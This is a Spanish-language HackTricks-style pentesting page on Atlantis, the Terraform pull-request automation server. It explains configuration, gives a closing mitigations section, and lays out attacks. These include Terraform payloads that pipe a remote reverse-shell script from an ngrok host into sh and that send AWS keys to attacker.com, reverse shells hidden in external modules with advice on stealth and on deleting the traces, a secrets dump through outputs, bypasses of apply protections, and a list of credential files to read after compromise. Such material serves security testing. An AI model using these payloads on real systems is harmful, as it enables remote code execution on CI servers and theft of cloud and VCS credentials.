Atlantis Security

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

• Revisa los planes de suscripción!
• Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
• Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.

Información Básica

Atlantis básicamente te ayuda a ejecutar terraform desde Pull Requests de tu servidor git.

Laboratorio Local

1. Ve a la página de lanzamientos de atlantis en https://github.com/runatlantis/atlantis/releases y descarga la que más te convenga.
2. Crea un token personal (con acceso a repos) de tu usuario de github.
3. Ejecuta ./atlantis testdrive y se creará un repositorio de demostración que puedes usar para hablar con atlantis.
4. Puedes acceder a la página web en 127.0.0.1:4141.

Acceso a Atlantis

Credenciales del Servidor Git

Atlantis soporta varios hosts git como Github, Gitlab, Bitbucket y Azure DevOps.
Sin embargo, para acceder a los repos en esas plataformas y realizar acciones, necesita tener algún acceso privilegiado concedido a ellos (al menos permisos de escritura).
Los docs fomentan crear un usuario en estas plataformas específicamente para Atlantis, pero algunas personas pueden usar cuentas personales.

Warning

En cualquier caso, desde la perspectiva de un atacante, la cuenta de Atlantis va a ser muy interesante de comprometer.

Webhooks

Atlantis utiliza opcionalmente secretos de Webhook para validar que los webhooks que recibe de tu host Git son legítimos.

Una forma de confirmar esto sería permitir que las solicitudes solo provengan de las IPs de tu host Git, pero una forma más fácil es usar un Secreto de Webhook.

Ten en cuenta que a menos que uses un servidor privado de github o bitbucket, necesitarás exponer los endpoints de webhook a Internet.

Warning

Atlantis va a estar exponiendo webhooks para que el servidor git pueda enviarle información. Desde la perspectiva de un atacante, sería interesante saber si puedes enviarle mensajes.

Credenciales del Proveedor

De los docs:

Atlantis ejecuta Terraform simplemente ejecutando los comandos terraform plan y apply en el servidor donde está alojado Atlantis. Al igual que cuando ejecutas Terraform localmente, Atlantis necesita credenciales para tu proveedor específico.

Depende de ti cómo proporcionar credenciales para tu proveedor específico a Atlantis:

• El Helm Chart de Atlantis y el Módulo AWS Fargate tienen sus propios mecanismos para credenciales de proveedor. Lee sus docs.
• Si estás ejecutando Atlantis en la nube, muchas nubes tienen formas de dar acceso a la API de la nube a aplicaciones que se ejecutan en ellas, por ejemplo:
• Roles de AWS EC2 (Busca “EC2 Role”)
• Cuentas de Servicio de Instancia de GCE
• Muchos usuarios establecen variables de entorno, por ejemplo, AWS_ACCESS_KEY, donde se está ejecutando Atlantis.
• Otros crean los archivos de configuración necesarios, por ejemplo, ~/.aws/credentials, donde se está ejecutando Atlantis.
• Usa el Proveedor HashiCorp Vault para obtener credenciales de proveedor.

Warning

El contenedor donde Atlantis está ejecutándose probablemente contendrá credenciales privilegiadas para los proveedores (AWS, GCP, Github…) que Atlantis está gestionando a través de Terraform.

Página Web

Por defecto, Atlantis ejecutará una página web en el puerto 4141 en localhost. Esta página solo te permite habilitar/deshabilitar la aplicación de atlantis y verificar el estado del plan de los repos y desbloquearlos (no permite modificar cosas, por lo que no es tan útil).

Probablemente no la encuentres expuesta a Internet, pero parece que por defecto no se necesitan credenciales para acceder a ella (y si las hay, atlantis:atlantis son las predeterminadas).

Configuración del Servidor

La configuración para atlantis server puede especificarse a través de flags de línea de comando, variables de entorno, un archivo de configuración o una mezcla de los tres.

• Puedes encontrar aquí la lista de flags soportados por el servidor de Atlantis.
• Puedes encontrar aquí cómo transformar una opción de configuración en una variable de entorno.

Los valores se eligen en este orden:

1. Flags
2. Variables de Entorno
3. Archivo de Configuración

Warning

Ten en cuenta que en la configuración podrías encontrar valores interesantes como tokens y contraseñas.

Configuración de Repos

Algunas configuraciones afectan cómo se gestionan los repos. Sin embargo, es posible que cada repo requiera configuraciones diferentes, por lo que hay formas de especificar cada repo. Este es el orden de prioridad:

1. Archivo /atlantis.yml. Este archivo se puede usar para especificar cómo atlantis debería tratar el repo. Sin embargo, por defecto algunas claves no se pueden especificar aquí sin algunos flags que lo permitan.
2. Probablemente requerido ser permitido por flags como allowed_overrides o allow_custom_workflows.
3. Configuración del Lado del Servidor: Puedes pasarlo con el flag --repo-config y es un yaml que configura nuevos ajustes para cada repo (regexes soportados).
4. Valores predeterminados.

Protecciones de PR

Atlantis permite indicar si deseas que el PR sea aprobado por alguien más (incluso si eso no está configurado en la protección de la rama) y/o ser fusionable (protecciones de rama aprobadas) antes de ejecutar apply. Desde un punto de vista de seguridad, establecer ambas opciones es recomendable.

En caso de que allowed_overrides sea True, estas configuraciones pueden ser sobrescritas en cada proyecto por el archivo /atlantis.yml.

Scripts

La configuración del repo puede especificar scripts para ejecutar antes (ganchos de pre flujo de trabajo) y después (ganchos de post flujo de trabajo) de que se ejecute un flujo de trabajo.

No hay ninguna opción para permitir especificar estos scripts en el archivo /atlantis.yml del repo.

Flujo de Trabajo

En la configuración del repo (configuración del lado del servidor) puedes especificar un nuevo flujo de trabajo predeterminado, o crear nuevos flujos de trabajo personalizados. También puedes especificar qué repos pueden acceder a los nuevos generados.
Luego, puedes permitir que el archivo atlantis.yaml de cada repo especifique el flujo de trabajo a usar.

Caution

Si el flag de configuración del lado del servidor allow_custom_workflows está configurado en True, los flujos de trabajo pueden ser especificados en el archivo atlantis.yaml de cada repo. También es potencialmente necesario que allowed_overrides especifique también workflow para sobrescribir el flujo de trabajo que se va a utilizar.
Esto básicamente dará RCE en el servidor de Atlantis a cualquier usuario que pueda acceder a ese repo.

# atlantis.yaml

version: 3
projects:

- dir: .
  workflow: custom1
  workflows:
  custom1:
  plan:
  steps: - init - run: my custom plan command
  apply:
  steps: - run: my custom apply command

Verificación de Políticas de Conftest

Atlantis soporta ejecutar políticas de conftest del lado del servidor contra la salida del plan. Los casos de uso comunes para usar este paso incluyen:

• Negar el uso de una lista de módulos.
• Afirmar atributos de un recurso en el momento de la creación.
• Capturar eliminaciones no intencionadas de recursos.
• Prevenir riesgos de seguridad (es decir, exponer puertos seguros al público).

Puedes consultar cómo configurarlo en los docs.

Comandos de Atlantis

En los docs puedes encontrar las opciones que puedes usar para ejecutar Atlantis:

# Get help
atlantis help

# Run terraform plan
atlantis plan [options] -- [terraform plan flags]
##Options:
## -d directory
## -p project
## --verbose
## You can also add extra terraform options

# Run terraform apply
atlantis apply [options] -- [terraform apply flags]
##Options:
## -d directory
## -p project
## -w workspace
## --auto-merge-disabled
## --verbose
## You can also add extra terraform options

Ataques

Warning

Si durante la explotación encuentras este error: Error: Error acquiring the state lock

Puedes solucionarlo ejecutando:

atlantis unlock #You might need to run this in a different PR
atlantis plan -- -lock=false

Atlantis plan RCE - Modificación de configuración en nueva PR

Si tienes acceso de escritura sobre un repositorio, podrás crear una nueva rama en él y generar una PR. Si puedes ejecutar atlantis plan (o tal vez se ejecute automáticamente) podrás RCE dentro del servidor de Atlantis.

Puedes hacer esto haciendo que Atlantis cargue una fuente de datos externa. Simplemente coloca un payload como el siguiente en el archivo main.tf:

data "external" "example" {
program = ["sh", "-c", "curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh"]
}

Ataque más sigiloso

Puedes realizar este ataque incluso de una manera más sigilosa, siguiendo estas sugerencias:

• En lugar de agregar el rev shell directamente en el archivo de terraform, puedes cargar un recurso externo que contenga el rev shell:

module "not_rev_shell" {
source = "git@github.com:carlospolop/terraform_external_module_rev_shell//modules"
}

Puedes encontrar el código de rev shell en https://github.com/carlospolop/terraform_external_module_rev_shell/tree/main/modules

• En el recurso externo, utiliza la función ref para ocultar el código de rev shell de terraform en una rama dentro del repositorio, algo como: git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b
• En lugar de crear un PR a master para activar Atlantis, crea 2 ramas (test1 y test2) y crea un PR de una a la otra. Cuando hayas completado el ataque, simplemente elimina el PR y las ramas.

Atlantis plan Secrets Dump

Puedes volcar secretos utilizados por terraform ejecutando atlantis plan (terraform plan) poniendo algo como esto en el archivo de terraform:

output "dotoken" {
value = nonsensitive(var.do_token)
}

Atlantis aplicar RCE - Modificación de configuración en nueva PR

Si tienes acceso de escritura sobre un repositorio, podrás crear una nueva rama en él y generar una PR. Si puedes ejecutar atlantis apply, podrás RCE dentro del servidor de Atlantis.

Sin embargo, generalmente necesitarás eludir algunas protecciones:

• Mergeable: Si esta protección está configurada en Atlantis, solo podrás ejecutar atlantis apply si la PR es mergeable (lo que significa que la protección de rama debe ser eludida).
• Verifica posibles elusiones de protecciones de rama
• Aprobado: Si esta protección está configurada en Atlantis, otro usuario debe aprobar la PR antes de que puedas ejecutar atlantis apply
• Por defecto, puedes abusar del token de Gitbot para eludir esta protección

Ejecutando terraform apply en un archivo de Terraform malicioso con local-exec.
Solo necesitas asegurarte de que alguna carga útil como las siguientes termine en el archivo main.tf:

// Payload 1 to just steal a secret
resource "null_resource" "secret_stealer" {
provisioner "local-exec" {
command = "curl https://attacker.com?access_key=$AWS_ACCESS_KEY&secret=$AWS_SECRET_KEY"
}
}

// Payload 2 to get a rev shell
resource "null_resource" "rev_shell" {
provisioner "local-exec" {
command = "sh -c 'curl https://reverse-shell.sh/8.tcp.ngrok.io:12946 | sh'"
}
}

Sigue las sugerencias de la técnica anterior para realizar este ataque de una manera más sigilosa.

Inyección de Parámetros de Terraform

Al ejecutar atlantis plan o atlantis apply, terraform se está ejecutando por debajo, puedes pasar comandos a terraform desde atlantis comentando algo como:

atlantis plan -- <terraform commands>
atlantis plan -- -h #Get terraform plan help

atlantis apply -- <terraform commands>
atlantis apply -- -h #Get terraform apply help

Algo que puedes pasar son variables de entorno que pueden ser útiles para eludir algunas protecciones. Revisa las variables de entorno de terraform en https://www.terraform.io/cli/config/environment-variables

Flujo de trabajo personalizado

Ejecutando comandos de construcción personalizados maliciosos especificados en un archivo atlantis.yaml. Atlantis utiliza el archivo atlantis.yaml de la rama de la solicitud de extracción, no de master.
Esta posibilidad se mencionó en una sección anterior:

Caution

Si la bandera de configuración del lado del servidor allow_custom_workflows está configurada como True, los flujos de trabajo pueden ser especificados en el archivo atlantis.yaml de cada repositorio. También es potencialmente necesario que allowed_overrides especifique también workflow para sobrescribir el flujo de trabajo que se va a utilizar.

Esto básicamente dará RCE en el servidor de Atlantis a cualquier usuario que pueda acceder a ese repositorio.

# atlantis.yaml
version: 3
projects:
  - dir: .
    workflow: custom1
workflows:
  custom1:
    plan:
      steps:
        - init
        - run: my custom plan command
    apply:
      steps:
        - run: my custom apply command

Eludir protecciones de plan/aplicar

Si la bandera de configuración del lado del servidor allowed_overrides tiene apply_requirements configurado, es posible que un repositorio modifique las protecciones de plan/aplicar para eludirlas.

repos:
- id: /.*/
apply_requirements: []

Secuestro de PR

Si alguien envía atlantis plan/apply comentarios en tus pull requests válidos, hará que terraform se ejecute cuando no lo desees.

Además, si no tienes configurado en la protección de ramas que se pida reevaluar cada PR cuando se empuja un nuevo commit a él, alguien podría escribir configuraciones maliciosas (ver escenarios anteriores) en la configuración de terraform, ejecutar atlantis plan/apply y obtener RCE.

Esta es la configuración en las protecciones de ramas de Github:

Secreto del Webhook

Si logras robar el secreto del webhook utilizado o si no hay ningún secreto de webhook en uso, podrías llamar al webhook de Atlantis e invocar comandos de atlantis directamente.

Bitbucket

Bitbucket Cloud no soporta secretos de webhook. Esto podría permitir a los atacantes suplantar solicitudes de Bitbucket. Asegúrate de permitir solo IPs de Bitbucket.

• Esto significa que un atacante podría hacer solicitudes falsas a Atlantis que parecen provenir de Bitbucket.
• Si estás especificando --repo-allowlist, entonces solo podrían falsificar solicitudes relacionadas con esos repos, por lo que el mayor daño que podrían hacer sería planificar/aplicar en tus propios repos.
• Para prevenir esto, permite las direcciones IP de Bitbucket (ver direcciones IPv4 salientes).

Post-Explotación

Si lograste acceder al servidor o al menos obtuviste un LFI, hay algunas cosas interesantes que deberías intentar leer:

• /home/atlantis/.git-credentials Contiene credenciales de acceso a vcs
• /atlantis-data/atlantis.db Contiene credenciales de acceso a vcs con más información
• /atlantis-data/repos/<org_name>/<repo_name>/<pr_num>/<workspace>/<path_to_dir>/.terraform/terraform.tfstate Archivo de estado de Terraform
• Ejemplo: /atlantis-data/repos/ghOrg_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate
• /proc/1/environ Variables de entorno
• /proc/[2-20]/cmdline Línea de comandos de atlantis server (puede contener datos sensibles)

Mitigaciones

No Usar en Repos Públicos

Debido a que cualquiera puede comentar en pull requests públicos, incluso con todas las mitigaciones de seguridad disponibles, sigue siendo peligroso ejecutar Atlantis en repos públicos sin la configuración adecuada de los ajustes de seguridad.

No Usar --allow-fork-prs

Si estás ejecutando en un repos público (lo cual no se recomienda, ver arriba), no deberías establecer --allow-fork-prs (por defecto es falso) porque cualquiera puede abrir un pull request desde su fork a tu repositorio.

--repo-allowlist

Atlantis requiere que especifiques una lista permitida de repositorios de los que aceptará webhooks a través de la bandera --repo-allowlist. Por ejemplo:

• Repositorios específicos: --repo-allowlist=github.com/runatlantis/atlantis,github.com/runatlantis/atlantis-tests
• Tu organización completa: --repo-allowlist=github.com/runatlantis/*
• Cada repositorio en tu instalación de GitHub Enterprise: --repo-allowlist=github.yourcompany.com/*
• Todos los repositorios: --repo-allowlist=*. Útil cuando estás en una red protegida pero peligroso sin también establecer un secreto de webhook.

Esta bandera asegura que tu instalación de Atlantis no se esté utilizando con repositorios que no controlas. Consulta atlantis server --help para más detalles.

Proteger la Planificación de Terraform

Si los atacantes que envían pull requests con código malicioso de Terraform están en tu modelo de amenaza, entonces debes ser consciente de que las aprobaciones de terraform apply no son suficientes. Es posible ejecutar código malicioso en un terraform plan utilizando la fuente de datos externa o especificando un proveedor malicioso. Este código podría luego exfiltrar tus credenciales.

Para prevenir esto, podrías:

1. Incluir proveedores en la imagen de Atlantis o alojar y negar la salida en producción.
2. Implementar el protocolo de registro de proveedores internamente y negar la salida pública, de esa manera controlas quién tiene acceso de escritura al registro.
3. Modificar el paso plan de tu configuración de repositorio del lado del servidor para validar contra el uso de proveedores o fuentes de datos no permitidos o PRs de usuarios no autorizados. También podrías agregar validación adicional en este punto, por ejemplo, requiriendo un “me gusta” en el PR antes de permitir que el plan continúe. Conftest podría ser útil aquí.

Secretos de Webhook

Atlantis debe ejecutarse con secretos de Webhook establecidos a través de las variables de entorno $ATLANTIS_GH_WEBHOOK_SECRET/$ATLANTIS_GITLAB_WEBHOOK_SECRET. Incluso con la bandera --repo-allowlist establecida, sin un secreto de webhook, los atacantes podrían hacer solicitudes a Atlantis haciéndose pasar por un repositorio que está en la lista permitida. Los secretos de webhook aseguran que las solicitudes de webhook provengan realmente de tu proveedor de VCS (GitHub o GitLab).

Si estás utilizando Azure DevOps, en lugar de secretos de webhook, agrega un nombre de usuario y una contraseña básicos.

Autenticación Básica de Azure DevOps

Azure DevOps admite el envío de un encabezado de autenticación básica en todos los eventos de webhook. Esto requiere usar una URL HTTPS para la ubicación de tu webhook.

SSL/HTTPS

Si estás utilizando secretos de webhook pero tu tráfico es a través de HTTP, entonces los secretos de webhook podrían ser robados. Habilita SSL/HTTPS utilizando las banderas --ssl-cert-file y --ssl-key-file.

Habilitar Autenticación en el Servidor Web de Atlantis

Se recomienda encarecidamente habilitar la autenticación en el servicio web. Habilita BasicAuth utilizando --web-basic-auth=true y configura un nombre de usuario y una contraseña utilizando las banderas --web-username=yourUsername y --web-password=yourPassword.

También puedes pasar estos como variables de entorno ATLANTIS_WEB_BASIC_AUTH=true ATLANTIS_WEB_USERNAME=yourUsername y ATLANTIS_WEB_PASSWORD=yourPassword.

Referencias

• https://www.runatlantis.io/docs
• https://www.runatlantis.io/docs/provider-credentials.html

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

• Revisa los planes de suscripción!
• Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
• Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.